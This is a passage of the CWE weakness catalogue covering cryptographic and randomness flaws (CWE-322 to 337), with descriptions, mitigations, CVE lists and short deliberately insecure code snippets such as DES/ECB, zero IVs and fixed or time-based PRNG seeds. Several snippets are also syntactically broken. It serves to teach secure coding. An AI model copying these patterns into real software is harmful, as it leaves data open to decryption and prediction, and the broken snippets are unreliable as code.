PeerOf	We	*259*	*Hard-Coded Password*	*1000*	*283*
CanFollow	We	*656*	*Reliance on Security through Obscurity*	*1000*	*643*

Taxonomy Mappings
Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Use of hard-coded cryptographic key
OWASP Top Ten 2007	A8	CWE More Specific	Insecure Cryptographic Storage
OWASP Top Ten 2007	A9	CWE More Specific	Insecure Communications

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A8	CWE More Specific	Insecure Storage

CWE-322: Key Exchange without Entity Authentication

Weakness ID: 322 *(Weakness Base)* **Status:** Draft

Description

Summary

The software performs a key exchange with an actor without verifying the identity of that actor.

Extended Description

Performing a key exchange will preserve the integrity of the information sent between two entities, but this will not guarantee that the entities are who they claim they are. This may enable a set of "man-in-the-middle" attacks. Typically, this involves a victim client that contacts a malicious server that is impersonating a trusted server. If the client skips authentication or ignores an authentication failure, the malicious server may request authentication information from the user. The malicious server can then use this authentication information to log in to the trusted server using the victim's credentials, sniff traffic between the victim and trusted server, etc.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- All

Common Consequences

Authentication

No authentication takes place in this process, bypassing an assumed protection of encryption.

Confidentiality

The encrypted communication between a user and a trusted host may be subject to a "man-in-the-middle" sniffing attack.

Likelihood of Exploit

High

Demonstrative Examples

Many systems have used Diffie-Hellman key exchange without authenticating the entities exchanging keys, leading to man-in-the-middle attacks. Many people using SSL/TLS skip the authentication (often unknowingly).

Potential Mitigations

Architecture and Design

Ensure that proper authentication is included in the system design.

Implementation

Understand and properly implement all checks necessary to ensure the identity of entities involved in encrypted communications.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	287	Improper Authentication	**1000**	312
PeerOf	We	296	Improper Following of Chain of Trust for Certificate Validation	1000	322
ChildOf	We	297	Improper Validation of Host-specific Certificate Data	1000	323
PeerOf	We	298	Improper Validation of Certificate Expiration	1000	324
PeerOf	We	299	Improper Check for Certificate Revocation	1000	325
ChildOf	B	320	Key Management Errors	**699**	344
ChildOf	Wc	345	Insufficient Verification of Data Authenticity	1000	367

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Key exchange without entity authentication

CWE-323: Reusing a Nonce, Key Pair in Encryption

Weakness ID: 323 *(Weakness Base)* **Status:** Incomplete

Description

Summary

Nonces should be used for the present occasion and only once.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- All

Common Consequences

Authentication

Potentially a replay attack, in which an attacker could send the same data twice, could be crafted if nonces are allowed to be reused. This could allow a user to send a message which masquerades as a valid message from a valid user.

Likelihood of Exploit

High

Demonstrative Examples

C Example:

```
#include <openssl/sha.h>
#include <stdio.h>
#include <string.h>
#include <memory.h>
int main(){
  char *paragraph = NULL;
  char *data = NULL;
  char *nonce = "bad";
  char *password = "secret";
  parsize=strlen(nonce)+strlen(password);
  paragraph=(char*)malloc(para_size);
  strncpy(paragraph,nonce,strlen(nonce));
  strcpy(paragraph,password,strlen(password));
  data=(unsigned char*)malloc(20);
  SHA1((const unsigned char*)paragraph,parsize,(unsigned char*)data);
  free(paragraph);
  free(data);
  //Do something with data//
  return 0;
}
```

C++ Example:

```
String command = new String("some command to execute");
MessageDigest nonce = MessageDigest.getInstance("SHA");
nonce.update(String.valueOf("bad nonce"));
byte[] nonce = nonce.digest();
MessageDigest password = MessageDigest.getInstance("SHA");
password.update(nonce + "secretPassword");
byte[] digest = password.digest();
//do something with digest//
```

Potential Mitigations

Requirements specification: The choice could be made to use a language that is not susceptible to these issues.

Implementation

Refuse to reuse nonce values.

Implementation

Use techniques such as requiring incrementing, time based and/or challenge response to assure uniqueness of nonces.

Background Details

Nonces are often bundled with a key in a communication exchange to produce a new session key for each exchange.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	320	Key Management Errors	**699**	344
ChildOf	Wa	344	Use of Invariant Value in Dynamically Changing Context	**1000**	366

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Reusing a nonce, key pair in encryption

CWE-324: Use of a Key Past its Expiration Date

Weakness ID: 324 *(Weakness Base)* **Status:** Draft

Description

Summary

The product uses a cryptographic key or password past its expiration date, which diminishes its safety significantly by increasing the timing window for cracking attacks against that key.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- All

Common Consequences

Authentication

The cryptographic key in question may be compromised, providing a malicious user with a method for authenticating as the victim.

Likelihood of Exploit

Low

Demonstrative Examples

C/C++ Example: *Bad Code*

```
if (!(cert = SSL_get_peer(certificate(ssl)) || !host) foo=SSL_get_veryify_result(ssl);
if ((X509_V_OK==foo) || (X509_V_ERRCERT_NOT_YET_VALID==foo)) //do stuff
```

Potential Mitigations

Architecture and Design

Adequate consideration should be put in to the user interface in order to notify users previous to the key's expiration, to explain the importance of new key generation and to walk users through the process as painlessly as possible.

Run time: Users must heed warnings and generate new keys and passwords when they expire.

Other Notes

While the expiration of keys does not necessarily ensure that they are compromised, it is a significant concern that keys which remain in use for prolonged periods of time have a decreasing probability of integrity. For this reason, it is important to replace keys within a period of time proportional to their strength.

Relationships

Nature	Type	ID	Name	V	Page
PeerOf	Wa	298	Improper Validation of Certificate Expiration	1000	324
ChildOf	C	320	Key Management Errors	**699**	344
ChildOf	Wa	672	Use of a Resource after Expiration or Release	**1000**	660
PeerOf	Wv	*262*	*Not Using Password Aging*	*1000*	*288*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Using a key past its expiration date

CWE-325: Missing Required Cryptographic Step

Weakness ID: 325 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software does not implement a required step in a cryptographic algorithm, resulting in weaker encryption than advertised by that algorithm.

Extended Description

Cryptographic implementations should follow the algorithms that define them exactly, otherwise encryption can be weaker than expected.

Time of Introduction

- Architecture and Design
- Requirements

Applicable Platforms

Languages

- All

Modes of Introduction

Developers sometimes omit certain "expensive" (resource-intensive) steps in order to improve performance, especially in devices with limited memory or CPU cycles. This could be done under a mistaken impression that the step is unnecessary for preserving security. Alternately, the developer might adopt a threat model that is inconsistent with that of its consumers by accepting a risk for which the remaining protection seems "good enough."

This issue can be introduced when the requirements for the algorithm are not clearly stated.

Observed Examples

Reference	Description
CVE-2001-1585	Missing challenge-response step allows authentication bypass using public key.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		310	Cryptographic Issues	**699**	335
PeerOf	We	358	Improperly Implemented Security Check for Standard	1000	379
ChildOf	We	573	Failure to Follow Specification	**1000**	570
ChildOf		719	OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage	**629**	715
ChildOf		720	OWASP Top Ten 2007 Category A9 - Insecure Communications	629	715

Relationship Notes

Overlaps incomplete/missing security check.

Can be resultant.

Functional Areas

- Cryptography

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Missing Required Cryptographic Step
OWASP Top Ten 2007	A8	CWE More Specific	Insecure Cryptographic Storage
OWASP Top Ten 2007	A9	CWE More Specific	Insecure Communications

Related Attack Patterns

CAPEC-ID	Attack Pattern Name *(CAPEC Version 1.2)*
68	Subvert Code-signing Facilities

CWE-326: Weak Encryption

Weakness ID: 326 *(Weakness Class)* **Status:** Draft

Description

Summary

Insufficiently strong encryption schemes may not adequately secure secret data from attackers. Attackers can guess or use brute force attacks to break weakly encrypted schemes.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2001-1546	Weak encryption
CVE-2002-1682	Weak encryption
CVE-2002-1697	Weak encryption produces same ciphertext from the same plaintext blocks.
CVE-2002-1739	Weak encryption
CVE-2002-1872	Weak encryption (XOR)
CVE-2002-1910	Weak encryption (reversible algorithm).
CVE-2002-1946	Weak encryption (one-to-one mapping).
CVE-2002-1975	Encryption error uses fixed salt, simplifying brute force / dictionary attacks (overlaps randomness).
CVE-2004-2172	Weak encryption (chosen plaintext attack)
CVE-2005-2281	Weak encryption scheme

Potential Mitigations

Architecture and Design

Use a cryptographic algorithm that is currently considered to be strong by experts in the field.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	310	Cryptographic Issues	**699**	335
ChildOf	WC	693	Protection Mechanism Failure	**1000**	684
ChildOf	C	719	OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage	**629**	715
ChildOf	C	720	OWASP Top Ten 2007 Category A9 - Insecure Communications	629	715
ChildOf	C	729	OWASP Top Ten 2004 Category A8 - Insecure Storage	**711**	719
ParentOf	WW	*261*	*Weak Cryptography for Passwords*	*699* ***1000***	*287*
ParentOf	WB	*327*	*Use of a Broken or Risky Cryptographic Algorithm*	***699*** ***1000***	*351*
ParentOf	WB	*328*	*Reversible One-Way Hash*	***1000***	*353*
ParentOf	WC	*759*	*Use of a One-Way Hash without a Salt*	***1000***	*736*
ParentOf	WC	*760*	*Use of a One-Way Hash with a Predictable Salt*	***1000***	*737*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Weak Encryption
OWASP Top Ten 2007	A8	CWE More Specific	Insecure Cryptographic Storage
OWASP Top Ten 2007	A9	CWE More Specific	Insecure Communications
OWASP Top Ten 2004	A8	CWE More Specific	Insecure Storage

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
20	Encryption Brute Forcing	

Maintenance Notes

A variety of encryption algorithms exist, with various weaknesses. This category could probably be split into smaller sub-categories.

CWE-327: Use of a Broken or Risky Cryptographic Algorithm

Weakness ID: 327 *(Weakness Base)* **Status:** Draft

Description

Summary

The use of a broken or risky cryptographic algorithm is an unnecessary risk that may result in the disclosure of sensitive information.

Extended Description

The use of a non-standard algorithm is dangerous because a determined attacker may be able to break the algorithm and compromise whatever data has been protected. Well-known techniques may exist to break the algorithm.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- All

Common Consequences

Confidentiality

The confidentiality of sensitive data may be compromised by the use of a broken or risky cryptographic algorithm.

Integrity

The integrity of sensitive data may be compromised by the use of a broken or risky cryptographic algorithm.

Accountability

Any accountability to message content preserved by cryptography may be subject to attack.

Likelihood of Exploit

Medium to High

Demonstrative Examples

These code examples use the Data Encryption Standard (DES). Once considered a strong algorithm, it is now regarded as insufficient for many applications. It has been replaced by Advanced Encryption Standard (AES).

C/C++ Example: *Bad Code*

```
EVP_des_ecb();
```

Java Example: *Bad Code*

```
Cipher des=Cipher.getInstance("DES...");
des.initEncrypt(key2);
```

Observed Examples

Reference	Description
CVE-2002-2058	Attackers can infer private IP addresses by dividing each octet by the MD5 hash of '20'.
CVE-2005-2946	Default configuration of product uses MD5 instead of stronger algorithms that are available, simplifying forgery of certificates.
CVE-2005-4860	Product substitutes characters with other characters in a fixed way, and also leaves certain input characters unchanged.
CVE-2007-4150	product only uses "XOR" to obfuscate sensitive data
CVE-2007-5460	product only uses "XOR" and a fixed key to obfuscate sensitive data
CVE-2007-6013	Product uses the hash of a hash for authentication, allowing attackers to gain privileges if they can obtain the original hash.
CVE-2008-3188	Product uses DES when MD5 has been specified in the configuration, resulting in weaker-than-expected password hashes.
CVE-2008-3775	Product uses "ROT-25" to obfuscate the password in the registry.

Potential Mitigations

Architecture and Design

Do not develop your own cryptographic algorithms. They will likely be exposed to attacks that are well-understood by cryptographers. Reverse engineering techniques are mature. If your algorithm can be compromised if attackers find out how it works, then it is especially weak.

Architecture and Design

Use a well-vetted algorithm that is currently considered to be strong by experts in the field, and select well-tested implementations.

For example, US government systems require FIPS 140-2 certification.

As with all cryptographic mechanisms, the source code should be available for analysis.

Periodically ensure that you aren't using obsolete cryptography. Some older algorithms, once thought to require a billion years of computing time, can now be broken in days or hours. This includes MD4, MD5, SHA1, DES, and other algorithms which were once regarded as strong.

Architecture and Design

Design your software so that you can replace one cryptographic algorithm with another. This will make it easier to upgrade to stronger algorithms.

Architecture and Design

Carefully manage and protect cryptographic keys (see CWE-320). If the keys can be guessed or stolen, then the strength of the cryptography itself is irrelevant.

Architecture and Design
Implementation

Use languages, libraries, or frameworks that make it easier to use strong cryptography.

Industry-standard implementations will save you development time and may be more likely to avoid errors that can occur during implementation of cryptographic algorithms. Consider the ESAPI Encryption feature.

Implementation
Architecture and Design

When you use industry-approved techniques, you need to use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.

Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Background Details

Cryptographic algorithms are the methods by which data is scrambled. There are a small number of well-understood and heavily studied algorithms that should be used by most applications. It is quite difficult to produce a secure algorithm, and even high profile algorithms by accomplished cryptographic experts have been broken.

Since the state of cryptography advances so rapidly, it is common for an algorithm to be considered "unsafe" even if it was once thought to be strong. This can happen when new attacks against the algorithm are discovered, or if computing power increases so much that the cryptographic algorithm no longer provides the amount of protection that was originally thought.

Relationships

Nature	Type	ID	Name	V	Page
PeerOf	Weakness	311	Failure to Encrypt Sensitive Data	1000	336
ChildOf	Weakness	326	Weak Encryption	**699** **1000**	349
ChildOf	Category	729	OWASP Top Ten 2004 Category A8 - Insecure Storage	**711**	719
ChildOf	Category	753	Porous Defenses	**750**	733
PeerOf	*Weakness*	*301*	*Reflection Attack in an Authentication Protocol*	*1000*	*327*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Using a broken or risky cryptographic algorithm
OWASP Top Ten 2004	A8	CWE More Specific	Insecure Storage

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 1.2)
97	Cryptanalysis	

References

Bruce Schneier. "Applied Cryptography". John Wiley & Sons. 1996. < http://www.schneier.com/book-applied.html >.

Alfred J. Menezes, Paul C. van Oorschot and Scott A. Vanstone . "Handbook of Applied Cryptography". October 1996. < http://www.cacr.math.uwaterloo.ca/hac/ >.

C Matthew Curtin. "Avoiding bogus encryption products: Snake Oil FAQ". 1998-04-10. < http://www.faqs.org/faqs/cryptography-faq/snake-oil/ >.

[1] Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001-05-25. < http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf >.

[2] Paul F. Roberts. "Microsoft Scraps Old Encryption in New Code". 2005-09-15. < http://www.eweek.com/c/a/Security/Microsoft-Scraps-Old-Encryption-in-New-Code/ >.

CWE-328: Reversible One-Way Hash

Weakness ID: 328 *(Weakness Base)* **Status:** Draft

Description

Summary

The product uses a hashing algorithm that produces a hash value that can be used to determine the original input, or to find an input that can produce the same hash, more efficiently than brute force techniques.

Extended Description

This weakness is especially dangerous when the hash is used in security algorithms that require the one-way property to hold. For example, if an authentication system takes an incoming password and generates a hash, then compares the hash to another hash that it has stored in its authentication database, then the ability to create a collision could allow an attacker to provide an alternate password that produces the same target hash, bypassing authentication.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2006-4068	Hard-coded hashed values for username and password contained in client-side script, allowing brute-force offline attacks.

Potential Mitigations

Use a hash algorithm that is currently considered to be strong by experts in the field. MD-4 and MD-5 have known weaknesses. SHA-1 has also been broken.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		310	Cryptographic Issues	**699**	335
ChildOf		326	Weak Encryption	**1000**	349

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Reversible One-Way Hash

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
68	Subvert Code-signing Facilities	

References

Alexander Sotirov et al.. "MD5 considered harmful today". < http://www.phreedom.org/research/rogue-ca/ >.

CWE-329: Not Using a Random IV with CBC Mode

Weakness ID: 329 *(Weakness Variant)* **Status:** Draft

Description

Summary

Not using a random initialization Vector (IV) with Cipher Block Chaining (CBC) Mode causes algorithms to be susceptible to dictionary attacks.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Confidentiality

If the CBC is not properly initialized, data that is encrypted can be compromised and therefore be read.

Integrity

If the CBC is not properly initialized, encrypted data could be tampered with in transfer.

Accountability

Cryptographic based authentication systems could be defeated.

Likelihood of Exploit

Medium

Demonstrative Examples

C/C++ Example: *Bad Code*

```
#include <openssl/evp.h> EVP_CIPHER_CTX ctx;
char key[EVP_MAX_KEY_LENGTH];
char iv[EVP_MAX_IV_LENGTH];
RAND_bytes(key, b);
memset(iv,0,EVP_MAX_IV_LENGTH);
EVP_EncryptInit(&ctx,EVP_bf_cbc(), key,iv);
```

Java Example: *Bad Code*

```
public class SymmetricCipherTest {
  public static void main() {
    byte[] text ="Secret".getBytes();
    byte[] iv ={
      0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
    };
    KeyGenerator kg = KeyGenerator.getInstance("DES");
    kg.init(56);
    SecretKey key = kg.generateKey();
    Cipher cipher = Cipher.getInstance("DES/ECB/PKCS5Padding");
    IvParameterSpec ips = new IvParameterSpec(iv);
    cipher.init(Cipher.ENCRYPT_MODE, key, ips);
    return cipher.doFinal(inpBytes);
  }
}
```

Potential Mitigations

Integrity: It is important to properly initialize CBC operating block ciphers or their utility is lost.

Background Details

CBC is the most commonly used mode of operation for a block cipher. It solves electronic code book's dictionary problems by XORing the ciphertext with plaintext. If it used to encrypt multiple data streams, dictionary attacks are possible, provided that the streams have a common beginning sequence.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	310	Cryptographic Issues	**699**	335
ChildOf	Wc	330	Use of Insufficiently Random Values	**1000**	355
ChildOf	Wc	573	Failure to Follow Specification	1000	570

Functional Areas

- Cryptography

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Not using a random IV with CBC mode

CWE-330: Use of Insufficiently Random Values

Weakness ID: 330 *(Weakness Class)* **Status:** Draft

Description

Summary

The software may use insufficiently random numbers or values in a security context that depends on unpredictable numbers.

Extended Description

When software receives predictable values in a context requiring unpredictability, it may be possible for an attacker to guess those predictable values, and use this guess to impersonate another user or access sensitive information.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- All

Likelihood of Exploit

Medium to High

Demonstrative Examples

The following code uses a statistical PRNG to create a URL for a receipt that remains active for some period of time after a purchase.

Bad Code

```
String GenerateReceiptURL(String baseUrl) {
  Random ranGen = new Random();
  ranGen.setSeed((new Date()).getTime());
  return(baseUrl + Gen.nextInt(400000000) + ".html");
}
```

This code uses the Random.nextInt() function to generate "unique" identifiers for the receipt pages it generates. Because Random.nextInt() is a statistical PRNG, it is easy for an attacker to guess the strings it generates. Although the underlying design of the receipt system is also faulty, it would be more secure if it used a random number generator that did not produce predictable receipt identifiers, such as a cryptographic PRNG.

Potential Mitigations

Architecture and Design

Use a well-vetted algorithm that is currently considered to be strong by experts in the field, and select well-tested implementations with adequate length seeds.

In general, if a pseudo-random number generator is not advertised as being cryptographically secure, then it is probably a statistical PRNG and should not be used in security-sensitive contexts.

Pseudo-random number generators can produce predictable numbers if the generator is known and the seed can be guessed. A 256-bit seed is a good starting point for producing a "random enough" number.

Implementation

Consider a PRNG that re-seeds itself as needed from high quality pseudo-random output sources, such as hardware devices.

Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Testing

Perform FIPS 140-2 tests on data to catch obvious entropy problems.

Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Testing

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process and look for library functions that indicate when randomness is being used. Run the process multiple times to see if the seed changes. Look for accesses of devices or equivalent resources that are commonly used for strong (or weak) randomness, such as /dev/urandom on Linux. Look for library or system calls that access predictable information such as process IDs and system time.

Background Details

Computers are deterministic machines, and as such are unable to produce true randomness. Pseudo-Random Number Generators (PRNGs) approximate randomness algorithmically, starting with a seed from which subsequent values are calculated. There are two types of PRNGs: statistical and cryptographic. Statistical PRNGs provide useful statistical properties, but their output is highly predictable and forms an easy to reproduce numeric stream that is unsuitable for use in cases where security depends on generated values being unpredictable. Cryptographic PRNGs address this problem by generating output that is more difficult to predict. For a value to be cryptographically secure, it must be impossible or highly improbable for an attacker to distinguish between it and a truly random value.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		254	Security Features	**699** **700**	279
ChildOf		723	OWASP Top Ten 2004 Category A2 - Broken Access Control	**711**	716

Nature	Type	ID	Name	V	Page
ChildOf	C	747	CERT C Secure Coding Section 49 - Miscellaneous (MSC)	**734**	730
ChildOf	C	753	Porous Defenses	**750**	733
ParentOf	W	*329*	*Not Using a Random IV with CBC Mode*	***1000***	*354*
ParentOf	W	*331*	*Insufficient Entropy*	***699 1000***	*357*
ParentOf	W	*334*	*Small Space of Random Values*	***699 1000***	*360*
ParentOf	W	*335*	*PRNG Seed Error*	***699 1000***	*361*
ParentOf	W	*338*	*Use of Cryptographically Weak PRNG*	***699 1000***	*362*
ParentOf	W	*340*	*Predictability Problems*	***699 1000***	*364*
ParentOf	W	*341*	*Predictable from Observable State*	***699 1000***	*364*
ParentOf	W	*342*	*Predictable Exact Value from Previous Values*	***699 1000***	*365*
ParentOf	W	*343*	*Predictable Value Range from Previous Values*	***699 1000***	*366*
ParentOf	W	*344*	*Use of Invariant Value in Dynamically Changing Context*	***699 1000***	*366*
MemberOf	V	*1000*	*Research Concepts*	***1000***	*737*

Relationship Notes

This can be primary to many other weaknesses such as cryptographic errors, authentication errors, symlink following, information leaks, and others.

Functional Areas

- Non-specific
- cryptography
- authentication
- session management

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Randomness and Predictability
7 Pernicious Kingdoms			Insecure Randomness
OWASP Top Ten 2004	A2	CWE More Specific	Broken Access Control
CERT C Secure Coding	MSC30-C		Do not use the rand() function for generating pseudorandom numbers

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
59	Session Credential Falsification through Prediction	

References

J. Viega and G. McGraw. "Building Secure Software: How to Avoid Security Problems the Right Way". 2002.

CWE-331: Insufficient Entropy

Weakness ID: 331 *(Weakness Base)* **Status:** Draft

Description

Summary

The software uses an algorithm or scheme that produces insufficient entropy, leaving patterns or clusters of values that are more likely to occur than others.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages
- All

Observed Examples

Reference	Description
CVE-2001-0950	Insufficiently random data used to generate session tokens using C rand(). Also, for certificate/key generation, uses a source that does not block when entropy is low.

Potential Mitigations
Determine the necessary entropy to adequately provide for randomness and predictability. This can be achieved by increasing the number of bits of objects such as keys and seeds.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness Class	330	Use of Insufficiently Random Values	**699 1000**	355
ParentOf	Weakness Variant	*332*	*Insufficient Entropy in PRNG*	***699 1000***	*358*
ParentOf	Weakness Variant	*333*	*Improper Handling of Insufficient Entropy in TRNG*	***699 1000***	*359*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Insufficient Entropy

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
59	Session Credential Falsification through Prediction	

References
J. Viega and G. McGraw. "Building Secure Software: How to Avoid Security Problems the Right Way". 2002.

CWE-332: Insufficient Entropy in PRNG

Weakness ID: 332 *(Weakness Variant)* **Status:** Draft

Description
Summary
The lack of entropy available for, or used by, a Pseudo-Random Number Generator (PRNG) can be a stability and security threat.

Time of Introduction
- Architecture and Design
- Implementation

Applicable Platforms
Languages
- All

Common Consequences
Availability

If a pseudo-random number generator is using a limited entropy source which runs out (if the generator fails closed), the program may pause or crash.

Authentication

If a PRNG is using a limited entropy source which runs out, and the generator fails open, the generator could produce predictable random numbers. Potentially a weak source of random numbers could weaken the encryption method used for authentication of users. In this case, potentially a password could be discovered.

Likelihood of Exploit
Medium

Demonstrative Examples
C/C++ Example:

```
while (1){
  if (OnConnection()){
    if (PRNG(...)) {
      //use the random bytes
    }
    else (PRNG(...)) {
      //cancel the program
    }
  }
```

Java Example:

```
while (1){
  if (OnConnection()){
    if (PRNG(...)) {
      //use the random bytes
    }
    else (PRNG(...)) {
      //cancel the program
    }
  }
```

Potential Mitigations

Implementation

Perform FIPS 140-2 tests on data to catch obvious entropy problems.

Implementation

Consider a PRNG that re-seeds itself as needed from high-quality pseudo-random output, such as hardware devices.

Architecture and Design

When deciding which PRNG to use, look at its sources of entropy. Depending on what your security needs are, you may need to use a random number generator that always uses strong random data -- i.e., a random number generator that attempts to be strong but will fail in a weak way or will always provide some middle ground of protection through techniques like re-seeding. Generally, something that always provides a predictable amount of strength is preferable.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness	331	Insufficient Entropy	**699** **1000**	357

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Insufficient entropy in PRNG

CWE-333: Failure to Handle Insufficient Entropy in TRNG

Weakness ID: 333 *(Weakness Variant)* **Status:** Draft

Description

Summary

True random number generators generally have a limited source of entropy and therefore can fail or block.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Availability

A program may crash or block if it runs out of random numbers.

Likelihood of Exploit

Low to Medium

Demonstrative Examples

C Example: *Bad Code*

```
while (1){
  if (connection){
    if (hwRandom()){
      //use the random bytes
    }
    else (hwRandom()) {
      //cancel the program
    }
  }
```

Potential Mitigations

Implementation

Rather than failing on a lack of random numbers, it is often preferable to wait for more numbers to be created.

Other Notes

The rate at which true random numbers can be generated is limited. It is important that one uses them only when they are needed for security.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	331	Insufficient Entropy	**699** **1000**	357
ChildOf	We	703	Failure to Handle Exceptional Conditions	1000	706

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Failure of TRNG

CWE-334: Small Space of Random Values

Weakness ID: 334 *(Weakness Base)* **Status:** Draft

Description

Summary

The number of possible random values is smaller than needed by the product, making it more susceptible to brute force attacks.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2002-0583	Product uses 5 alphanumeric characters for filenames of expense claim reports, stored under web root.
CVE-2002-0903	Product uses small number of random numbers for a code to approve an action, and also uses predictable new user IDs, allowing attackers to hijack new accounts.
CVE-2003-1230	SYN cookies implementation only uses 32-bit keys, making it easier to brute force ISN.
CVE-2004-0230	Complex predictability / randomness (reduced space).

Potential Mitigations

Implementation

Perform FIPS 140-2 tests on data to catch obvious entropy problems.

Implementation

Consider a PRNG which re-seeds itself, as needed from a high quality pseudo-random output, like hardware devices.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	330	Use of Insufficiently Random Values	699 1000	355
ParentOf	Ww	*6*	*J2EE Misconfiguration: Insufficient Session-ID Length*	***1000***	*3*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Small Space of Random Values

CWE-335: PRNG Seed Error

Weakness ID: 335 *(Weakness Class)* **Status:** Draft

Description

Summary

A Pseudo-Random Number Generator (PRNG) uses seeds incorrectly.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	330	Use of Insufficiently Random Values	699 1000	355
ParentOf	We	*336*	*Same Seed in PRNG*	***699 1000***	*361*
ParentOf	We	*337*	*Predictable Seed in PRNG*	***699 1000***	*362*
ParentOf	We	*339*	*Small Seed Space in PRNG*	***699 1000***	*363*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	PRNG Seed Error

CWE-336: Same Seed in PRNG

Weakness ID: 336 *(Weakness Base)* **Status:** Draft

Description

Summary

A PRNG uses the same seed each time the product is initialized. If an attacker can guess (or knows) the seed, then he/she may be able to determine the "random" number produced from the PRNG.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Demonstrative Examples

The following Java code uses the same seed value for a statistical PRNG on every invocation.

Java Example: *Bad Code*

```
private static final long SEED = 1234567890;
public int generateAccountID() {
  Random random = new Random(SEED);
```

```
  return random.nextInt();
}
```

Potential Mitigations

Don't reuse PRNG seeds.

Implementation

Consider a PRNG which re-seeds itself, as needed from a high quality pseudo-random output, like hardware devices.

Implementation

Perform FIPS 140-2 tests on data to catch obvious entropy problems.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness Class	335	PRNG Seed Error	**699** **1000**	361

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Same Seed in PRNG

CWE-337: Predictable Seed in PRNG

Weakness ID: 337 *(Weakness Base)* **Status:** Draft

Description

Summary

A PRNG is initialized from a predictable seed, e.g. using process ID or system time.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Demonstrative Examples

In the code snippet below, a statistical PRNG is seeded with the current value of the system clock, which is easily guessable.

Java Example: *Bad Code*

```
Random random = new Random(System.currentTimeMillis());
int accountID = random.nextInt();
```

Potential Mitigations

Use non-predictable inputs for seed generation.

Implementation

Perform FIPS 140-2 tests on data to catch obvious entropy problems.

Implementation

